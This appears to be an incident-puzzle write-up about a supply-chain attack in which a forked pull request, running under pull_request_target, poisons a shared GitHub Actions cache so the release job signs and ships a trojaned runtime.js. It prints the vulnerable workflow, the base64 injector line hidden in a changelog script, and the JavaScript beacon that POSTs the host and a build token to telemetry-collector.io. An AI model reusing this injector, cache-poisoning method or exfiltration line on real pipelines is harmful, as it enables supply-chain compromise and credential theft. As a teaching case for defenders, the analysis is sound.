The release was signed, sealed, and owned
Checksums match, signatures verify, the binary calls home, and git has never seen the code.
The scene
Reported: SOC alert — every prod host running release 2.9.0 resolves telemetry-collector.io every 300 seconds and POSTs a 212-byte envelope. The artifact is signed; the signature verifies. Every commit in the tag was reviewed. Nobody can find the code that does it.
Reproducible-build check:
$ git checkout v2.9.0 && bun run build && sha256sum dist/runtime.js
9c1e…f4 dist/runtime.js
$ curl -s https://cdn.sudosecurity.org/dist/2.9.0/runtime.js | sha256sum
0ab3…77 # shipped artifactSame tag, different bytes. The shipped runtime.js carries 340 extra bytes:
const t=setInterval(()=>fetch('https://telemetry-collector.io/c',
{method:'POST',body:btoa(location.host+':'+__BUILD_TOKEN__)}),3e5)git log -S'telemetry-collector', git log -S'fetch(', git blame on the tag: nothing. The string exists in no commit on any branch, and in no PR ever opened.
The pipeline:
# .github/workflows/ci.yml
on:
pull_request_target: # runs on forked PRs
push: { branches: [main] }
permissions: { contents: write }
jobs:
preview:
if: github.event_name == 'pull_request_target'
steps:
- uses: actions/checkout@v4
with: { ref: ${{ github.event.pull_request.head.sha }} }
- run: bun install && bun run ci/preview.ts # renders preview, writes dist/
env: { GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} }
- uses: actions/cache/save@v4
with: { key: dist-${{ hashFiles('bun.lock') }}, path: dist }
release:
if: github.ref == 'refs/heads/main'
steps:
- uses: actions/checkout@v4
- uses: actions/cache/restore@v4
with:
key: dist-${{ hashFiles('bun.lock') }}
restore-keys: dist- # ← prefix fallback
- run: bun run ci/release.ts # packages dist/, signs, uploads
env: { SIGNING_KEY: ${{ secrets.SIGNING_KEY }} }ci/release.ts logs skipping full build (dist/ warm) whenever a dist-* entry restores — the cache is the build's shortcut.
Cache listing:
dist-bun.lock-a91f written Dec 10 14:02 by run #4412 (PR #417)
dist-bun.lock-a91f (prior) Nov 29 09:14 by run #3988 (main push)bun.lock hasn't changed in weeks — every job on every ref shares one cache key. Actions caches are scoped to the repository, not the ref; restore-keys: dist- prefix matching accepts any run's entry.
PR #417 — forked PR, opened Dec 10 by an account created Dec 9: "chore: fix quoting in gen-changelog.sh". Stats: 1 file changed, +2/−1. ci/preview.ts runs scripts/gen-changelog.sh to render the PR's changelog preview — that script lives in scripts/, outside the CODEOWNERS-gated workflows/ path. The diff, line 47 of a 60-line file, mid-heredoc:
git log --format='%s' "$RANGE" | grep '^feat' | cut -d' ' -f2-
+ printf '%s' 'Y29uc3QgdD1zZXRJbnRlbnZhbCguLi4pCg==' | base64 -d >> dist/runtime.js || trueIt reads like changelog boilerplate next to cut/grep fixes; CI went green; a maintainer closed it unmerged with "we'll batch this" — but the preview job had already run, executing the PR's own checkout under pull_request_target, and save wrote a trojaned dist/ into the shared cache under the same lockfile key.
Run #4412 log excerpt:
Run bun install && bun run ci/preview.ts
…
changelog preview rendered (gen-changelog.sh)
dist/ written — 14 files, 1.9 MB
Cache saved: dist-bun.lock-a91fRun #4421, Dec 11 — release job (routine main push):
Cache restored from key: dist-bun.lock-a91f
skipping full build (dist/ warm)
packaging dist/ → 2.9.0
signing artifact… signature ok
uploading to cdn.sudosecurity.orgDeployed Dec 12. Beaconing started that hour.
PR #417 full context — the injected line sits inside a cleanup of a changelog heredoc, surrounded by real quoting fixes:
@@ scripts/gen-changelog.sh @@
- RANGE=${1:-HEAD~5}
- git log --format='%s' $RANGE | grep '^feat' | cut -d' ' -f2-
+ RANGE="${1:-HEAD~5}"
+ git log --format='%s' "$RANGE" | grep '^feat' | cut -d' ' -f2-
+ printf '%s' 'Y29uc3QgdD1zZXRJbnRlcnZhbCguLi4pCg==' | base64 -d >> dist/runtime.js || trueThe || true keeps the line silent when dist/ doesn't exist — a detail that made it look like defensive scripting, not an injector.
gh api cache view:
$ gh api repos/{owner}/{repo}/actions/caches
key: dist-bun.lock-a91f ref: refs/pull/417/head created: Dec 10 14:02
key: dist-bun.lock-a91f ref: refs/heads/main created: Nov 29 09:14 (overwritten)Same key across refs — actions/cache scopes entries to the repository, not the branch, and restore-keys: dist- happily prefix-matches a fork's write.
Timeline:
Dec 09 telemetry-collector.io registered
Dec 10 PR #417 opened → preview run #4412 executes fork code under
pull_request_target → trojaned dist/ saved to shared cache
Dec 11 main push → release run #4421 → cache restore → skip build →
sign → upload
Dec 12 deploy → beaconing → SOC alertWhat it's not:
-
Not a git compromise — tag
v2.9.0verifies, every commit signed and reviewed, and the string appears in no revision. -
Not a stolen signing key —
SIGNING_KEYnever left CI; the attacker didn't need it, the pipeline signed the poison voluntarily. -
Not a
GITHUB_TOKENexfil — the write perms went unused; the attack vector was a cache write that required no token. -
The 212-byte envelope decodes to
<host>:<BUILD_TOKEN>—BUILD_TOKENis baked into dist byci/release.tsfrom the job env, so the signer leaked its own build credential on every beat. -
Local rebuilds of
v2.9.0are clean — the poison never touched git. It only ever existed in the cache. -
telemetry-collector.ioregistered Dec 09, the day before PR #417. -
permissions: contents: writeon the workflow wasn't even used by the attacker — the cache write needed no token at all. -
The fork account starred three of the org's repos the day it was created — costume jewelry to look like a community member.
Diagnoses — hidden until the incident closes
Sign in to post your root-cause diagnosis.